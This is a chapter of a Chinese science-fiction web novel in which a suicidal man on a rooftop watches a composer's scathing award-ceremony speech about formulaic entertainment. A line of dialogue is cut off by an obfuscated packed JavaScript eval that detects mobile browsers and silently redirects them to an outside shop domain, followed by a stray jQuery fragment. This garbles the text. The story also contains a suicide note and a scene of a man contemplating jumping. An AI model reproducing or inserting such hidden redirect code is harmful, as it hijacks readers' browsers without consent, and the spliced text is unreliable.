夕阳已沉没，房间浸在灰蒙蒙的月光中。茶几上，一张满是墨迹的纸被书压住，露出最下面的几段。
“我知道，我死后会有人来到这个房间，找遗书，找线索，也许还顺道找八卦话题。如果确定我是有计划的自杀，就把我的遗体送去墓地；如果不是，就把我复活，送去警局录口供。口供问什么呢？就问：‘你觉得谁有可能谋杀你’。”
“其实你们很清楚，所有的自杀都是谋杀。但讨论究竟是谁谋杀了我毫无意义。我不想发表什么看法。总之，结局就是我选择谋杀我自己而已——做出最后的决定之前，我已经想过不知道多少次了。”
“也许是因为死人的隐私不值得尊重，违规披露遗书、死因、死相的新闻层出不穷，重灾区就是公众人物，或者像我这样勉强可以算作公众人物的人，似乎我们的死也应该是娱乐大众的材料。我不批判你们的行为，也不批判大众的好奇心。我没那么多时间。但我想，我至少可以亲自回答，我到底为什么选择去死。”
“不是因为我被某种乐观的空想影响，认为死后的世界更加美好。我认为那是一种自暴自弃的憧憬。我选择在今天死去，仅仅是因为……今天早上，当我醒来，我终于不能再忽视我已经死去的事实。”
“我得走了。祝愿各位今后也能好好享受娱乐和人生。接受这一切，不要想太多。”
他不愿更替的白色T恤排成一排，整齐地吊在阳台上，活像一面面哀哭的白旗。
这是怎样的一个时代呀。
当你找到匕首，就会被割断喉咙。
.
贺今日乘电梯下楼，走出酒店，走到另一条街的车站的上层，又一次坐上一辆能载六人的中型飞行器。
也许就是上次那一辆，不过这次飞行器内只有他一个人。他依旧看向窗外。灯光比月光更亮，他半透明的面孔被映在玻璃窗中央，流光簌簌而过。
半晌，飞行器缓缓下降，停稳。流光定格，他的嘴巴长出几幢高楼，额头长出密密麻麻的屏幕，眼睑下印出一个细细的“云杉”。
他又一次来到这个广场。他不知道还有哪里适合跳楼。
云杉科技的大楼有十八层。电梯前人来人往，贺今日站在角落，远远地看着。几分钟后，他转身走进无人的楼梯间。
一层，两层，三层，四层……他走得很慢，所以走到楼顶一点都不累。不累，就没理由犹豫。贺今日目视前方，继续往前走。
正前方，唯一有声的大屏幕仍播放着动听的歌曲，今天歌曲的载体是前卫漂亮的MV，他的道路只剩两步了。
忽然，MV的画面消失，一位身着盛装的主持人站在画面右侧，拆开手上的信封。
“第631届音乐盛典，最佳作曲人奖，获奖的是——水青，《知道了》，恭喜！”
一个特写画面给到小推车，全场爆发出剧烈的笑声，然后是连绵不绝的掌声。
贺今日又迈出一步。
在掌声中，一个背影把水蓝色小推车推上左边斜坡，走到主持人——准确地说是颁奖嘉宾——身边。
贺今日停下脚步。
他停在楼顶边缘，怔怔地望着屏幕。望着那双眼睛。他不认识这个人，但他不会错认这人眼中流淌的情绪。那是太无力的沉默，太窒息的愤怒。这一个月以来，每次对上镜面，他都能看到自己的眼睛就是这样看着。看着世界，看着自己。
所以他现在站在死亡边缘。——可这人不是正要接过奖杯吗？
“跑来跑去的太麻烦，这样比较方便。”水青淡淡地说。台下又响起一阵笑声，还有更为热烈的掌声。
颁奖嘉宾也跟着一起笑，手上的奖杯保持着递出的姿势。水青伸手去接，颁奖嘉宾拿着奖杯往后躲了一下。
水青疑惑地看了她一眼。
“青神，还要请你稍等一会儿，这边有一个特殊环节。”颁奖嘉宾从装奖项结果的信封里拿出一张手卡，“大家都知道，本届音乐盛典，所有音乐类的创作类型奖项，除了你，只有焦晓光老师入围了最佳作曲人奖项，张导特地交代过我，如果最佳作曲人是你，一定要现场采访一下焦老师。”
“毕竟——”颁奖嘉宾语气诚恳又充满笑意，“这是我们接下来的半小时，唯一一个能和第二个人说上话的机会。”
水青莞尔，做了个“请便”的动作。在一众笑声中，他和颁奖嘉宾一起看向台下。
画面切换，一个保养很好的老绅士接过话筒，略带惊讶地站起来。
“居然还有这个环节！”他恍然大悟，“怪不得张红让我早点过来，说要化妆……我还以为他嫌我年老色衰，不入眼了。”
“哪能呢！您都帅一百多年了。”
焦晓光点点头，故作哀伤地叹气，“是，我都快两百岁了……”
“欸？！”客串主持人的颁奖嘉宾一脸错愕，随即四处张望，“张导？张导在吗？这话怎么接呀？”
场中又响起一阵笑声。焦晓光也笑了，摆摆手说：“行了行了，赶紧问。我一会儿自己去找张红算账。”
“对对对！冤有头债有主，就该找他。”颁奖嘉宾庄严地为导演默哀了三秒，立起手卡，“我看看，他们想问您什么……第一个问题！”她语气活泼地断了一下句，接着问道，“作为今天唯一一个和青神打擂台的人，您有想过今天拿不到最佳作曲人的奖吗？”
“？”焦晓光惊讶地看着她，“你这个潜台词很危险啊……暗示我们全星系含金量最高的音乐类奖项是分猪肉奖？”
“我可没这个意思！张导的手卡就是这么写的。”
“张红……啧。”焦晓光做出无可奈何的表情，转回正题，“你问我想没想过拿不到奖，其实这话应该反过来问。你得问‘你想过今天能拿到奖吗’，然后我就会说，没想过。”
坐在他两侧的人抬头看他，满脸诧异。
“我记得去年……去年我没入围（观众发出几声笑）对不起，是前年……前年我拿奖的时候就在感言里说过，水青的作曲能力正在以一种惊人的速度进步。等到他的曲足以适配他过强的作词能力，未来就是他的，谁也抢不走。我还说，水青的进步是看不到终点的。”
镜头短暂地切回台上，水青朝前辈点了点头，脸上带着礼貌的笑容。
“今天这个结果，当初我听到这首歌的时候就知道了。”焦晓光往组委会的座位方向看了一眼，“说到底，也就是选手不能当裁判员……他们哪有我专业啊？”
典礼现场的座位分为三块，入围者在中间，左边是媒体、公司代表，右边是组委会、工作人员、公证人员等等。他刚说完，入围者们就自然地笑出声，半点不给评委面子。镜头给到右边，评委们露出苦笑，个别还鼓起了掌。
焦晓光看向台上，“还有什么要问的吗？”
“我要问的您都说的差不多了……最后一个问题！作为前辈，您有什么想对水青老师说的吗？”
闻言，焦晓光微微皱眉。
这一问放在其他场合很正常，夸赞几句，再鼓励一下，一派美好和谐的乐坛景象就立起来了。但在这不行。
前后辈的关系、善意的鼓励、对对方未来的期待等等，都隐隐显出一种俯视视角。但在颁奖典礼上，这种微妙的俯视，发起人应该是得奖者。于是，一个不明显的错位出现了。
这是不应该出现的事故。
音乐盛典向来万众瞩目。关注的人多，就会有人注意到这处错位。发现错位，就会出现争执。争执加深，就会带来持续不断的热度。
这些热度会用来做什么呢？单纯地想增加热度，还是想借争端转移注意力，降低水青拿一推车奖的声誉？或者尝试击碎维系了一个多世纪的“晓光滤镜”？说到底，这只是一件小事。但，小事的发展方向才不好预测，小事的发挥空间往往不小。
他脑海中的思绪转了一圈，随即刻意打量了颁奖嘉宾几秒，然后微微转动脖子，诧异地看向水青，“阿青，你是不是在哪得罪张红了？听听，这提的都是些什么怪问题。”
焦晓光说完，把话筒递给旁边的人，直接转身离场。颁奖嘉宾不知所措。
观众又开始笑。意味不明的笑声。
水青走近一步，伸手拿过话筒，“奖杯帮我放在小推车里就可以了，谢谢。”
颁奖嘉宾明显地松了口气，双手把奖杯放进小推车，然后双手合十，对水青虔诚的一拜表示感谢，快步走下台。
场下爆发出一阵剧烈的笑声。
“好了，安静。”水青温和地说，脸上还带着笑，但场下瞬间变得落针可闻。
典礼现场的椅子靠背舒适，还刻有昂贵的自适应法阵，可镜头再扫过观众席，贺今日发现大部分人都坐直了。
“谢谢参与录制的第一主星中央交响乐团的演奏家们，没有你们就没有这首歌；谢谢我的公司风花娱乐，谢谢听众朋友们，谢谢评委会。”
水青顿了一下，继续说道：“还要特别感谢这首歌的演唱者，著名话剧演员尚刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886208|212543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
香先生。”
“这首歌刚发的时候，很多记者、媒体朋友很好奇，问我为什么不找专业歌手，而是找了一个演员来唱这首歌。我一直没有正面回答过这个问题，每次被问，我都说‘我现在不想讲这个’，或者‘还不到时候’……但我想，此时此刻，应该是揭晓谜底的时候了。”
也许是空气中紧张的气氛已经无法忽视，尽管台下的人们脸上写满好奇，但没有一个人接话。场内静悄悄的，好像一锅沸腾的水突然被端起，离开火灶，搁在冰块中，虽然依然拥有灼人的温度，但已经不会再沸腾了。
水青脸上的笑意收敛，微微低头，从左到右扫视了一遍台下的入围者们。
“因为我前后找过十几个专业歌手，但他们都交出了极其糟糕的答卷。”
敢和他对视的脸上写满无辜和尴尬，不敢和他对视的看起来都想钻进地里，少数几个还瑟缩了几下。
“我不是很明白，为什么你们可以堂而皇之地把自己的风格置于歌曲应有的感情之上？”水青说着，换了只手拿话筒。
贺今日这才注意到，这人有一双过分纤细的手腕。看着就知道力气不大。再加上白皙细长的手指，显然是娇生惯养长大的，说不定连凉水都没碰过。
不能给他上个麦架吗？多少能省点力气。贺今日心中冒出这个想法，吓了自己一跳。
“不分析曲调，不分析歌词，光想着怎么突出自己的嗓音优势，突出你们的团队给你们制定的声音性格……抱歉，”水青突然停下，微微抬头，“时间到了。”
镜头切过去，显示倒计时的小屏幕出现在画面中央，此刻已经归零。
“可以把后面几个奖项的感言时间挪过来吗？”接着，贺今日听到水青这样说。他的语气太理所当然，显然不是真想争取谁的同意，只是发号施令而已。
小屏幕先变黑，然后又亮起。一个长达十八分钟的倒计时出现了。
画面转回去，水青也刚收回投在小屏幕上的视线。他又看了一眼台下，“唱什么都一个样，只会套公式，你们和文盲有什么区别？”
台下没人说话，没人敢说话。
“当然，你们不可能真是文盲。只是选择了最省力的方式而已。”水青平静地说，“既然目的是吸引更多听众，既然有点标签化的特色就能做到，当然就不用再去想别的了。”
也许是因为剩下的时间太多，他突然话音一转，讲起其他领域的事，“就像社交平台，只是想要用户的使用时长而已。既然分裂和争吵可以留住注意力，就让用户多去吵架就好了。”
“又或者是影视作品，目标只是想要观众一直往下看而已。既然一惊一乍、只顾‘爽点’的剧情可以做到，当然就不需要其他东西了。”
“然后呢？”水青顿了一下，语速减慢了一点，“浮躁的观众看完视频变得更浮躁，想要休息的用户看完社交软件气得睡不着，听众听完日推歌单，发现居然没有一句能唱进他们心里。”
“上个月公布的数据，患有情绪病的人群比例又涨了一截。已经超过40％了。——你们为什么不觉得愧疚？”
“我们的国家没有外敌、工作强度合理、薪水合理、供给个人用以生活的时间足够多，为什么还有这么多人被情绪病困扰？因为你们。因为你们用垃圾填满了大家的娱乐时间。”
“你们假装文盲创造的每一样东西，都是刺向我们同胞的精神的尖刀。”
他停下，又把话筒换了只手。
“当然了，我管不了这么多。责任心说到底也不是创作的必需品。”
“但请你们记住，从今往后，任何由我经手的项目，谁敢敷衍了事，我不仅会换人，还会视情况中止和其个人，或者和其背后公司的所有合作。”
即使说着这样的话，他的语气依旧平静。这种平静透露出深思熟虑的决心。任谁听过都知道，他的决定不是因为怒气上涌一时冲动定下的，绝无撤回转圜的可能。
“好自为之。”
最后丢下四个字，水青把话筒还给一旁瑟瑟发抖的工作人员，也不管小推车，径直走回第一排中间的位置坐下。
台下依然寂静无声。
特写转为全景，他的身影瞬间小了许多。贺今日想看得清楚一些，下意识就要往前走，然后忽然想起自己站在楼顶边缘，抬起的腿猛地收回，连连后退。
退后，就离得更远，于是他又往前迈。
不够近，再一步。
太近，又退后一步。